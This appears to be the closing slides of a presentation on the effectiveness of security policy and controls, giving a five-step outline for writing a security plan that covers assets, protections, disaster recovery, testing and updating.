Effectiveness of
Policy &Controls
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Security Plan

1. Describe the assets you want to protect
— data
— hardware and software
— services
2. Describe how you will protect the assets
— access restrictions and authentication
— redundancy
— encryption
3. Describe disaster recovery plans
—  physical disasters
— equipment failures
— intrusions
— employee or customer mistakes
4. Regularly test your security plan
5. Update plan based on results of testing
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Q&A

Thank you!
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